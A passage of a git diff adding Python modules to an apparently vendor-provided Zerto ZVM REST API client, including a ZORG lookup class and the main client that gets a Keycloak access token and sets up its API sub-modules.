with you. + +import requests +import logging + +class Zorgs: + def __init__(self, client): + self.client = client + + def get_zorgs(self, zorg_identifier=None): + """ + Get ZORG information. If zorg_identifier is provided, returns details for that specific ZORG. + + Args: + zorg_identifier (str, optional): The identifier of a specific ZORG + + Returns: + dict/list: ZORG information. Returns a list of all ZORGs if no identifier is provided, + or details of a specific ZORG if identifier is provided. + """ + url = f"https://{self.client.zvm_address}/v1/zorgs" + if zorg_identifier: + url = f"{url}/{zorg_identifier}" + logging.info(f"Zorgs.get_zorgs: Fetching ZORG {zorg_identifier}...") + else: + logging.info("Zorgs.get_zorgs: Fetching all ZORGs...") + + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise \ No newline at end of file diff --git a/zvml/zvml.py b/zvml/zvml.py new file mode 100644 index 0000000..2455deb --- /dev/null +++ b/zvml/zvml.py @@ -0,0 +1,109 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +import requests +import logging +import ssl + +# Configure logging with timestamp format +logging.basicConfig( + level=logging.INFO, + format='%(asctime)s - %(levelname)s - %(message)s', + datefmt='%Y-%m-%d %H:%M:%S' +) + +# Import all necessary classes +from .tasks import Tasks +from .vpgs import VPGs +# from .vpg_settings import VPGSettings +from .vms import VMs +from .failover import Failover +from .alerts import Alerts +from .peersites import PeerSites +from .events import Events +from .repositories import Repositories +from .sessions import Sessions +from .recoveryscripts import RecoveryScripts +from .encryptiondetection import EncryptionDetection +from .zorgs import Zorgs +from .localsite import LocalSite +from .datastores import Datastores +from .vras import VRA +from .recovery_reports import RecoveryReports +from .license import License +from .service_profiles import ServiceProfiles +from .server_date_time import ServerDateTime +from .virtualization_sites import VirtualizationSites +from .volumes import Volumes +from .tweaks import Tweaks +# Disable SSL warnings for self-signed certificates +context = ssl._create_unverified_context() + +class ZVMLClient: + def __init__(self, zvm_address, client_id, client_secret, verify_certificate=True): + self.zvm_address = zvm_address + self.client_id = client_id + self.client_secret = client_secret + self.verify_certificate = verify_certificate + self.token = None + self.token_expiry = None + self.__get_keycloak_token() + self.tasks = Tasks(self) + self.vpgs = VPGs(self) + # self.vpg_settings = VPGSettings(self) + self.vms = VMs(self) + self.failover = Failover(self) + self.alerts = Alerts(self) + self.peersites = PeerSites(self) + self.events = Events(self) + self.repositories = Repositories(self) + self.sessions = Sessions(self) + self.recoveryscripts = RecoveryScripts(self) + self.zorgs = Zorgs(self) + self.encryptiondetection = EncryptionDetection(self) + self.localsite = LocalSite(self.zvm_address, self.token) + self.datastores = Datastores(self) + self.vras = VRA(self) + self.recovery_reports = RecoveryReports(self) + self.license = License(self) + self.service_profiles = ServiceProfiles(self) + self.server_date_time = ServerDateTime(self) + self.virtualization_sites = VirtualizationSites(self) + self.volumes = Volumes(self) + self.tweaks = Tweaks(self) + def __get_keycloak_token(self): + logging.debug(f'__get_keycloak_token(zvm_address={self.zvm_address})') + keycloak_uri = f"https://{self.zvm_address}/auth/realms/zerto/protocol/openid-connect/token" + headers = {'Content-Type': 'application/x-www-form-urlencoded'} + body = { + 'client_id': self.client_id, + 'client_secret': self.client_secret, + 'grant_type': 'client_credentials', + 'expires_in': 3600 # Request token expiration in seconds (e.g., 1 hour) + } + + try: + logging.info("Connecting to Keycloak to get token...") + response = requests.post(keycloak_uri, headers=headers, data=body, verify=self.verify_certificate) + response.raise_for_status() + token_data = response.json() + self.token = token_data.get('access_token') + self.token_expiry = token_data.get('expires_in') # Store expiration time + logging.info(f"Successfully retrieved token.") + logging.info(f"Token expiration details:") + logging.info(f"- Expires in: {self.token_expiry} seconds") + logging.info(f"- Requested expiration: {body['expires_in']} seconds") + if self.token_expiry != body['expires_in']: + logging.warning(f"Server provided different expiration time than requested!") + return self.token + except requests.exceptions.RequestException as e: + logging.error(f"Error retrieving token: {e}") + raise \ No newline at end of file